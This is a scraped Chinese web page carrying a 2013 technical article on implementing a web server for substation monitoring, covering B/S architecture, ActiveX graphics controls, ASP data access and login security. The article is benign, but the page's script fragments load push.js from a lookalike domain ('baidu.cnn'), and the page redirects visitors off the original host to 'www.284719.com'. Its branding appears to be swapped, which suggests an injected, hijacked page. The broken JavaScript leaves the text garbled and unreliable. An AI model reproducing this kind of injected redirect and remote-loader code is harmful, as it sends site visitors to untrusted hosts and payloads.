else { bp.src = 'http://push.zhanzhang.baidu.cnn/push.js'; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); )(); if (document.location.host.indexOf("ybzhan.cn")==-1 && document.location.host.indexOf("192.168.")==-1 && document.location.host.indexOf("10.115.")==-1) { location.href = location.href.replace(document.location.host, 'www.284719.com'); 变电站监控系统的Web服务器实现方案_九五至尊网站 )(); var sAdClassIDs=""; sAdClassIDs="ybzhan;";

九五至尊网站

产品推荐:水表|流量计|压力变送器|热电偶|液位计|冷热冲击试验箱|水质分析|光谱仪|试验机|试验箱


九五至尊网站>技术中心>使用指南>正文

2024网课宣传广告

同类产品

查看更多

欢迎联系我

有什么可以帮您? 在线咨询
jQuery(document).ready(function () { var xwtkq = Vivian.GetCloseAppKfTalkToUserIDorCompanyID("","442353").value; if (xwtkq == "0") { jQuery("#Consultation").bind("contextmenu click",function () {ChangeTopHeight(0,89046,0,442353); ); else{ jQuery("#Consultation").hide(); )

变电站监控系统的Web服务器实现方案

   2013年05月13日 11:49  
  0引言
  
  随着计算机、网络通信等*的飞速发展和广泛应用,变电站监控方式从过去的有人值班过渡到无人值守,由过去的单纯调度运行转变为调度运行、生产、经营管理等多种运用。特别是随着Internet技术的发展,实现了数据共享,并能提供给领导部门进行决策和管理。因此,在变电站监控中增加Web浏览功能变得越来越迫切,而且具有广阔的市场前景。本文提出了一种在变电站监控中实现Web服务器的方案。
  
  1系统结构
  
  本系统可以采用一般PC机或服务器作为Web信息发布的服务器,用户通过管理网关的身份验证后,可在Internet各处使用浏览器监控整个变电站监控运行的动态情况。整个系统结构如图1所示。
  
  该模块设计采用由用户端浏览器、Web服务器和数据库服务器组成的3层结构。网络操作系统采用Windows2000Server,数据库采用SQLServer2000,Web月艮务器采用InternetlnformationServer(11S5.0)。Web服务器接受浏览器传来的用户信息后,根据用户请求产生相应的动态页面,并返回到用户端览器以供浏览。
  
  系统采用N层Browser/Server模式替代传统的Client/Server模式。这种模式的优点在于:用户端在多种软硬件平台进行操作,前端可以在统一标准的浏览器界面,应用程序集中在服务器端管理开发,用户端直接利用现有的局域网或者Internet连接,不需要特殊的设置和安装,联机迅捷、方便。
  
  2系统的技术实现
  
  2.1电网图形的显示
  
  电力系统中,显示电网运行的图形相当复杂,如一次接线图、工况图、棒图、曲线等。而且图元的种类很多,有些图元需要根据实时数据来改变状态,如开关、刀闸的分合。为了将图形在浏览器中显示,我们应用了Internet中基于组件对象模型(COM)的ActiveX控件,这些图形由嵌入浏览器中的ActiveX图形控件解释执行并显示,ActiveX图形控件采用微软公司的VisualC++6.0自行开发[1]。
  
  合理组织图形文件和减小画面文件大小,对于提高网络传输效率显得尤为重要。图形文件采用矢量存储,可以大大减小图形文件的大小。文件结构一般由图形属性、背景图形和前景图形3部分组成:图形属性定义画面大小尺寸、背景颜色等要素;背景图形一般指死图形,不需要动态刷新的图元;前景图形是指需要根据传输的实时数据动态刷新的图形,如开关、刀闸、测量值等,由更基本的图形要素如直线、椭圆、矩形等组成。这些图形文件在服务器端用系统提供的图形编辑软件生成图形后,传送给客户端浏览器中的ActiveX控件显示。
  
  2.2服务器与客户端间的数据传输
  
  基于Web应用系统开发的关键,在于如何实现客户端与服务器端的交互以建立数据驱动的动态网页,本系统采用ASP技术来实现Web应用界面的开发。
  
  ASP是微软推出的一个服务器端命令执行环境,它可以实现多种脚本语言的混合编程。通过服务器端的编译,可生成并执行动态、率的服务器应用程序,并将生成的HTML动态地传送到客户端。ASP本身支持ActiveX组件。服务器与客户端之间的数据传输分为以下两个方面[2]:
  
  a.ActiVeX图形控件与服务器的数据交换,传输的数据包括图形文件和动态的实时数据。ActiveX图形控件通过自定义的端口,使用WinsocketAPI函数来完成与服务器之间的数据传输[3]。
  
  b.对存放在服务器端数据库中的历史数据的访问,这些数据包括各种告警信息和采样生成的报表数据。在服务器端装载数据库的ODBC的驱动程序,设置好ODBC系统数据源,利用ASP提供的ADO组件实现对数据库的访问,并生成相应的动态HTML页面,传送到客户端浏览器浏览。
  
  2.3客户端ActiveX控件在Web上的使用
  
  在编制Web服务器的HTML文件中,使用OBJECT标签插入ActiVeX控件,并利用VBScript或JScript访问该ActiveX控件,当客户端用Explorer浏览包含Activex控件的页面时,客户端的InternetExplorer浏览器会自动下载ActiVeX控件到本地。只要客户端Explorer浏览器的安全性设置为“允许拥有合法代码签名的ActiVeX控件下载”这一安全级别。
  
  3系统的安全性
  
  利用网络实现数据服务,代码和信息的安全是非常重要的一个环节。利用WindOWS2000Server和ⅡS5.0构造Web服务器,可以方便地设定Web服务器上的目录和文件的存取权限,而且客户端在每次查询前,都需要输入用户名和密码,只有合法的用户才能进入系统,查询电网画面、历史事件和报表数据,从而加强了整个系统的安全性。
  
  4结语
  
  本文介绍的Web服务器已在湖州供电局的200kV长超变和市北变中得到应用,运行情况良好。随着电力系统网络的建设和发展,相信Web服务器在变电站监控系统中将得到更加广泛的发展和应用,使变电站的资源和信息得到zui大程度的合理利用。
var regex = /(.*\:\/\/[^\/]*).*/; var match = url.match(regex); if(typeof match != "undefined" && null != match) { host = match[1]; return "" + host + "";

免责声明

  • 凡本网注明“来源:九五至尊网站”的所有作品,均为浙江兴旺宝明通网络有限公司-九五至尊网站合法拥有版权或有权使用的作品,未经本网授权不得转载、摘编或利用其它方式使用上述作品。已经本网授权使用作品的,应在授权范围内使用,并注明“来源:九五至尊网站”。违反上述声明者,本网将追究其相关法律责任。
  • 本网转载并注明自其它来源(非九五至尊网站)的作品,目的在于传递更多信息,并不代表本网赞同其观点或和对其真实性负责,不承担此类作品侵权行为的直接责任及连带责任。其他媒体、网站或个人从本网转载时,必须保留本网注明的作品第一来源,并自负版权等法律责任。
  • 如涉及作品内容、版权等问题,请在作品发表之日起一周内与本网联系,否则视为放弃相关权利。
联系我们

客服热线: 13199863987(同微信)

加盟热线: 13199863987(同微信)

媒体合作: 0571-87759945

投诉热线: 0571-87759942

关注我们
  • 下载仪表站APP

  • Ybzhan手机版

  • Ybzhan公众号

  • Ybzhan小程序

温馨提示

该企业已关闭在线交流功能

);
document.write("")